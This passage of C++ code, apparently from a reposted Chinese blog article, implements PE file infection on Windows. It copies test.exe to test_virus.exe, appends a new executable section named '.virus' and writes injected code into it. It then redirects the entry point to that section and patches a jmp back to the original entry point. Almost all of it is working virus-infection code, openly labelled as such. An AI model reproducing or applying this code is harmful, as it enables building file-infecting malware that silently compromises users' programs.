cout << "Check Dos Header Error!" << endl;

goto FreeViewOfMap;

}

IMAGE_NT_HEADERS *pNtHeader;

// *******检测NT文件头*******

pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);

if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)

{
cout << "Check NT Header Error!" << endl;

goto FreeViewOfMap;

}

//***************************************************************

//*******准备工作*******
//***************************************************************

BOOL bCopy;

// *******首先把要添加程序代码的文件复制一份*******

bCopy = CopyFile("test.exe" ,
"test_virus.exe" , FALSE);
if (!bCopy)
{
cout << "CopyFile Error!" << endl;

}

HANDLE hNewFile;

// *******打开刚刚复制的文件*******

hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ

| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

if (!hNewFile)

{
cout << "CreateFile Error!" << endl;

goto FreeViewOfMap;

}

HGLOBAL pNewFileHeader;

// *******为新文件的文件头申请一块内存,用于修改文件头信息*******

pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);

if (!pNewFileHeader)
{
cout << "GlobalAlloc Error!" << endl;

goto CloseNewFileHandle;

}

// *******用原文件头填充这块内存*******

RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);

IMAGE_NT_HEADERS *pNewFileNtHeader;

pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);

//////////////////////////////////////////////////////////////////////////

//*******此时的指针信息*******
//*******pMapOfFile : 原映射文件的开始

//*******pDosHeader : 原映射文件的DOS头也就是文件开始,只不过类型不一样

//*******pNTHeader : 原映射文件的NT头

//*******pNewFileHeader : 新文件的开始

//*******pNewFileNtHeader : 新文件的NT头

//////////////////////////////////////////////////////////////////////////

//****************************************************************

//*******修改新文件的节表信息*******
//****************************************************************

int nSecNum;
nSecNum = pNtHeader->FileHeader.NumberOfSections;

IMAGE_SECTION_HEADER *pLastSec , *pNewSec;

// *******定位到原文件中的最后一个节表*******

pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader +
sizeof(IMAGE_NT_HEADERS)
+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));

// *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******

pNewSec = pLastSec + 1;

//*******修改新增节表的相关信息*******

//*****节表总数加1*****
pNewFileNtHeader->FileHeader.NumberOfSections ++;

//*****修改新节的文件偏移*****

pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;

//*****修改新节的文件尺寸*****
int nAlignNum;

nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;

if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)

{
nAlignNum++;
}
pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;

//*****修改所有代码长度按内存页对齐后的大小*****

nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;

if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)

{
nAlignNum ++;
}
pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *

pNewFileNtHeader->OptionalHeader.SectionAlignment;

//*****修改文件内存映像尺寸*****

pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *

pNewFileNtHeader->OptionalHeader.SectionAlignment;

//*****修改新节的内存偏移量*****

//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****

nAlignNum = pLastSec->Misc.VirtualSize /
pNewFileNtHeader->OptionalHeader.SectionAlignment;

if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)

{
nAlignNum ++;
}
pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +

pLastSec->VirtualAddress;

//*****修改新节的内存尺寸*****
pNewSec->Misc.VirtualSize = dwFunCodeLen;

//*****更新新节属性*****

pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |

IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

//*****更新节名*****

strcpy((char*)pNewSec->Name ,
".virus");

//*****更新入口地址*****

pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;

BOOL bWrite;
DWORD dwHeaderSize , dwWriten;

dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);

bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);

//*****向文件中添加程序代码*****

DWORD dwSetFileP;

//*****定位到新文件中新节开始处*****

dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);

if (!dwSetFileP)
{
cout << "SetFilePointer Error!" << endl;

goto CloseNewFileHandle;

}

//*****写入程序代码*****
bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);

if (!bWrite)
{
cout << "Write Virus Code Error!" << endl;

goto CloseNewFileHandle;

}

//*****定位到文件尾部*****
dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData +

pNewSec->SizeOfRawData , NULL , FILE_BEGIN);

if (!dwSetFileP)

{
cout << "SetFilePointer End Error!" << endl;

goto CloseNewFileHandle;

}

//*****设定文件结束*****

if (!SetEndOfFile(hNewFile))

{
cout << "SetEndOfFile Error!" << endl;

goto CloseNewFileHandle;

}

//*******修正原入口地址*******

PBYTE pModifyAddr;

pModifyAddr = (PBYTE)pNewSec->VirtualAddress;

pModifyAddr += dwFunCodeLen;
//printf("%x\n" , pModifyAddr);

int nSub;
//跳转的距离
nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;

DWORD dwModifyLoca;
dwModifyLoca = pNewSec->PointerToRawData;
dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
//dwModifyLoca ++;

// *****定位到程序代码最后的五个字节处*****

dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);

if (!dwSetFileP)

{
cout << "Modify Address SetFilePointer Error!" << endl;

goto CloseNewFileHandle;

}
//*****修正jmp指令*****
BYTE bJmp;

bJmp = 0XE9;
bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);

if (!bWrite)
{
cout << "Modify Address WriteFile Error!" << endl;

goto CloseNewFileHandle;

}
//*****修正跳转地址*****

bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);

if (!bWrite)

{
cout << "Modify Address WriteFile Error!" << endl;

goto CloseNewFileHandle;

}

//****************************************************************

//*******扫尾工作*******
//****************************************************************

CloseNewFileHandle:
CloseHandle(hNewFile);
FreeViewOfMap:
UnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
CloseHandle(hMapFile);
CLOSEFILEHANDLE:
CloseHandle(hFile);
}
原文地址:http://blog.csdn.net/yincheng01/article/details/7214473
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐